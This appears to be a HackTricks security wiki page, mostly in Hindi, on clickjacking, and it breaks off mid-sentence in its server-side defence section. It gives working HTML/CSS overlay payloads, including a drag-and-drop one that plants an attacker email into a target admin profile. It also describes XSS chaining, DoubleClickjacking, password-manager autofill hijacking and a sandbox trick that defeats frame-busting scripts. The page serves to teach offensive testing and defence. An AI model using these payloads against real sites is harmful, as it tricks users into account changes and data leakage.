Clickjacking

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Clickjacking क्या है

एक clickjacking हमले में, एक उपयोगकर्ता को किसी वेबपेज पर मौजूद किसी तत्व पर क्लिक करने के लिए धोखा दिया जाता है जो या तो अदृश्य होता है या किसी दूसरे तत्व के रूप में छिपाया गया होता है। इस तरह की चाल उपयोगकर्ता के लिए अनचाहे परिणाम ला सकती है, जैसे कि malware का डाउनलोड होना, दुर्भावनापूर्ण वेब पेजों पर पुनर्निर्देशन, credentials या संवेदनशील जानकारी का प्रावधान, पैसे का ट्रांसफर, या ऑनलाइन उत्पादों की खरीद।

फ़ॉर्म पूर्व-भरने की ट्रिक

कभी-कभी पेज लोड करते समय GET parameters का उपयोग करके फ़ॉर्म के फ़ील्ड्स के मान भरना संभव होता है। एक हमलावर इस व्यवहार का दुरुपयोग करके फ़ॉर्म को मनमाना डेटा भरने के लिए और clickjacking payload भेजने के लिए कर सकता है ताकि उपयोगकर्ता Submit बटन दबा दे।

Drag&Drop के साथ फ़ॉर्म भरना

अगर आपको उपयोगकर्ता से एक फ़ॉर्म भरवाना है लेकिन आप सीधे उससे कोई विशेष जानकारी (जैसे email या कोई विशेष password जो आप जानते हों) लिखने के लिए नहीं कहना चाहते, तो आप उससे बस किसी चीज़ को Drag&Drop करने के लिए कह सकते हैं जो आपकी नियंत्रित डेटा लिख देगा, जैसा कि यह उदाहरण में दिखाया गया है।

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

बहु-चरण Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

यदि आपने ऐसा XSS attack पाया है जो XSS को trigger करने के लिए किसी element पर user के क्लिक की ज़रूरत करता है और पेज clickjacking के लिए vulnerable है, तो आप इसे user को बटन/लिंक पर क्लिक कराने के लिए abuso कर सकते हैं।
Example:
आपने एक self XSS पाया जो account के कुछ private details में है (ऐसी details जिन्हें केवल आप ही set और read कर सकते हैं)। उन details को सेट करने वाले form वाला पेज Clickjacking के लिए vulnerable है और आप GET parameters के साथ उस form को prepopulate कर सकते हैं।
एक attacker उस पेज के लिए Clickjacking attack तैयार कर सकता है, form को XSS payload से prepopulating करके और user को Submit करने के लिए trick कर सकता है। तो, जब form submit होगा और values बदल जाएँगी, तो user XSS execute करेगा

DoubleClickjacking

पहले explained in this post, यह technique victim से किसी custom page के किसी button पर double click करवा कर काम करती है जो एक specific स्थान पर रखा गया होता है, और mousedown और onclick events के बीच timing differences का इस्तेमाल कर के double click के दौरान victim page load कर देती है ताकि victim दरअसल victim page में मौजूद एक legit button पर क्लिक करे

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

warning

यह technique user को victim page के एक ही स्थान पर क्लिक करने के लिए trick करने की अनुमति देती है और सभी clickjacking protections को bypass कर सकती है। इसलिए attacker को ऐसे sensitive actions ढूँढने होंगे जिन्हें सिर्फ 1 क्लिक में किया जा सके, जैसे OAuth prompts में permissions स्वीकार करना

Browser extensions: DOM-based autofill clickjacking

iframes के अलावा attackers उन browser extension UI elements को भी target कर सकते हैं जो पेज में inject होते हैं। Password managers focused inputs के पास autofill dropdowns render करते हैं; एक attacker-controlled field को focus करके और extension के dropdown को छुपाकर/occlude करके (opacity/overlay/top-layer tricks), मजबूर किया गया user click किसी stored item को select कर सकता है और sensitive data attacker-controlled inputs में भर सकता है। यह variant iframe exposure की ज़रूरत नहीं रखता और पूरी तरह DOM/CSS manipulation के माध्यम से काम करता है।

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

Client-Side Defenses

client-side पर execute होने वाले scripts Clickjacking रोकने के लिए कुछ कदम उठा सकते हैं:

  • सुनिश्चित करना कि application window main या top window हो।
  • सभी frames को visible बनाना।
  • invisible frames पर क्लिक को रोकना।
  • संभावित Clickjacking प्रयासों का पता लगाना और users को alert करना।

हालाँकि, इन frame-busting scripts को circumvent किया जा सकता है:

  • Browsers' Security Settings: कुछ browsers इन scripts को उनके security settings या JavaScript support की कमी के कारण block कर सकते हैं।
  • HTML5 iframe sandbox Attribute: एक attacker frame buster scripts को neutralize कर सकता है by setting the sandbox attribute with allow-forms या allow-scripts values बिना allow-top-navigation के। यह iframe को verify करने से रोकता है कि क्या वह top window है, जैसे कि,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

सर्वर-साइड सुरक्षा

X-Frame-Options

The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a or